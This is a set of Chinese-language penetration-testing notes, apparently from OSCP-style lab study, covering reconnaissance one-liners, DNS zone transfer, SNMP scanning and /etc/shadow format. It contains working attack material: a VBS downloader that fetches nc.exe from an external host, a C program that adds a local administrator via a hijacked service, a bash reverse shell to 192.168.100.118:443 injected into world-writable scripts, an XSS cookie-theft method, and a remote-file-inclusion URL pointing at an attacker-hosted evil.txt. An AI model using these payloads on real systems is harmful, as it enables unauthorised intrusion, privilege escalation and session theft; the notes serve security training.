Kali自带的http服务是apache2,网站根目录在

/var/www

Kali将某些程序加入开机启动项

update-rc.d ssh enable

systemctl enable ssh //加入启动项

systemctl ssh start //启动

图形化启动项管理软件rcconf

 

cat index.html |grep “href=”|cut -d”/“ -f 3|grep “cisco.com”|cut -d’”‘ -f 1|sort -u >cisco.txt

index.html为思科官网的主页文件,目标是提取网页中所有和思科相关的网址

第一个过滤规则  |grep “href=”  的意思是保留所有有href=这一字符串的行

第二个过滤规则的 -d”/“ 是以 / 为分界将每行文本划为不同的块 -d 理解为divide

-f 的意思是选中第三块的内容作为需要的内容

第三个过滤规则意思是保留有cisco.com的行

第四个过滤规则是排除掉网址后不需要的块

第五个规则是合并所有相同的

> cisco.txt 意思是将结果导入到cisco.txt并保存

 

#!/bin/bash
for url in $(cat cisco.txt);do
host $url |grep “has address” |cut -d” “ -f 4 &
done

这个脚本的意思是将cisco.txt中的所有网址都通过host命令过滤截取出ip

后面加个&的意思是当条命令同时多线程运行

 

#!/bin/bash
for ip in $(seq 1 254);do
ping -c 1 10.11.1.$ip |grep “bytes from” |cut -d “” -f 4 |cut -d”:” -f 1 &
done

这个命令的意思是ping 10.11.1.0/24的ip各一次,并显示有结果的ip

 

nc -vn 10.11.12.13 25 可以起到 telnet 10.11.12.13 25的效果

 

host -t ns megacorpone.com

查询megacorpone.com的dns服务器

host -l megacorpone.com ns2.megacorpone.com

连接到ns2.megacorpone.com,并查询获取所有megacorpone的子域名

SNMP协议  经常被人忽视  UDP161端口 貌似直接扫扫不出来开不开放

扫描命令:   需要一个community文件和ip列表文件

onesixtyone -c community -i ip

community

public

private

manager

ip

10.11.1.1

10.11.1.2

10.11.1.3

写脚本爽过吸大麻

SNMP扫描器

编译linux下的.c文件使用gcc

gcc example.c -o balabala

./balabala

编译Windows环境下的.c文件使用mingw32

究极windows下的wget.vbs程序,适用于下载简单exe

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject(“WinHttp.WinHttpRequest.5.1”) >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject(“WinHttp.WinHttpRequest”) >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject(“MSXML2.ServerXMLHTTP”) >> wget.vbs
Echo If http Is Nothing Then Set http = CreateObject(“Microsoft.XMLHTTP”) >> wget.vbs
echo http.Open “GET”, strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject(“Scripting.FileSystemObject”) >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = “” >> wget.vbs
echo strBuffer = “” >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

 

使用方法,直接复制到shell,在目标机桌面会生成wget.vbs

cscript wget.vbs http://www.jinzz.cc/nc.exe nc.exe

这样就可以下载nc.exe

Shadow - 密码文件

登录Linux时会要求输入用户名和密码。通常本地文件中会存储一份用户密码,并与用户输入对比,如果相同就允许用户登录。起初用户密码存储于/etc/passwd中,但由于/etc/passwd必须供所有用户读取,因此为避免密码破译,Unix系统将加密后的密码存储于/etc/shadow中,仅供超级用户可读(大型站点中使用NIS、LDAP、NIS+等方式存储)。

/etc/shadow中的密码格式:

$id$salt$encrypted

id表示hash算法。起初密码用DES算法加密,但因随DES加密破解难度的降低,已用其他加密算法替代DES。在shadow文件中,密码字段如果以”$”打头,则表示非DES加密,如:

$1$2eWq10AC$NaQqalCk3InEPBrIxjaJQ1

即表示非DES加密密码。而$1$表示使用了基于MD5的加密算法。

$2a$04$NZJWn7W2skvQRC5lW3H7q.ZTE8bz4xbCAtU1ttzUOy63si3phphUu

$2a$表示Blowfish算法。常见的标识与算法:

$1$   MD5

$2a$ Blowfish

$5$ SHA256

$6$ SHA512

/etc/passwd文件

/etc/passwd文件的格式:

username:passwd:UID:GID:full_name:directory:shell

/etc/shadow文件

首先从shadow文件中摘录数行:

root:$1$TCVDVaiT$JC7TbKjvIZpIprdehWFH/1:15157:0:99999:7::: bin:*:15157:0:99999:7::: daemon:*:15157:0:99999:7:::

/etc/shadow文件的每行由9个字段组成,以”:”作为字段分隔符。每个字段的说明:

  1. 用户名(login name)。
  2. 加密后的密码(形如:$1$2eWq10AC$NaQqalCk3InEPBrIxjaJQ1)。如果密码是”*“或”!”,则表示这个不会用这个帐号来登录(通常是一些后台进程)。
  3. 密码最后修改时间,从1970年1月1日起计算的天数。
  4. 不可修改密码的天数。如果是0,表示随时可修改密码。如果是N,表示N天后才能修改密码。
  5. 密码可以维系的天数。如果设置为N,则表示N天后必须更新密码。设置为99999通常表示无需更新密码。
  6. 在密码必须修改前的N天,就开始提示用户需要修改密码。
  7. 密码过期的宽限时间。
  8. 帐号失效时间。也是UNIX时间戳格式。
  9. 最后一个字段是保留字段。

 

 

Windows本地missconfigration提权

查看windows上运行服务的所需权限

windows+R   service.msc

查看正在运行的服务

右键属性找到.exe文件

在cmd内cd到指定目录

icacls xxx.exe

即可查看到当前exe运行所需的权限

如果观察到当前exe有类似于EVERYONE之类的权限就说明有missconfigration

可以用一个恶意exe文件去代替

#include <stdlib.h>

int main()

{

int i;

i = system (“net localgroup administrators xxxx /add”)

return 0;

}

再使用

i586-mingw32msvc-gcc xxxx.c

将其编译成.exe文件并发送到目标机器上,使其服务重启即可添加xxxx用户到administrators权限组中

 

Linux本地missconfigration提权

find / -perm -2 ! -type l -ls 2>/dev/null

寻找有777权限的错误配置的文件,特别是一些第三方软件的.sh脚本

在其中插入恶意代码

bash -i >& /dev/tcp/192.168.100.118/443 0>&1

这个是向192.168.100.118:443发送了一个最高权限的shell

 

通过XSS劫持Cookies并伪造Cookie登录

需要使用firefox浏览器并安装两个add-one

cookies manager +

temper data

 

目标站点未对用户输入进行过滤,导致用户可以上传一段包含脚本的字符,从而使接下来浏览该网页的人受到影响

 

更进一步,将XSS脚本改为

就会向10.11.0.209这台机子的4444端口发送连接信息,即可获得当前受害者机器的cookies

再使用当前获取的受害者cookies信息伪造成自己的cookies信息就可以以受害者的身份登录

 

 

注意用PHP编写的网页例如切换语言时是否有http://xxxxxxx/addguestbook.php?name=hahaha&comment=hahaha&LANG=fr&Submit=Submit

这样的链接,注意红字标明的位置,如果该服务器PHP配置时未进行正确配置,allow_url_fopen = on 时此处可以替换成恶意链接.

http://47.90.101.155/evil.txt的内容为php语言

echo ‘‘ >/var/www/evil.txt

任何用户输入该链接

http://xxxxxxx/addguestbook.php?name=hahaha&comment=hahaha&LANG=http://47.90.101.155/evil.txt%00&Submit=Submit

该处%00意为忽略%00后面的代码段

执行后/var/www/evil.txt处会保存有该服务器ipconfig后的结果

 

WEB相关工具

nikto

dirbuster

gobuster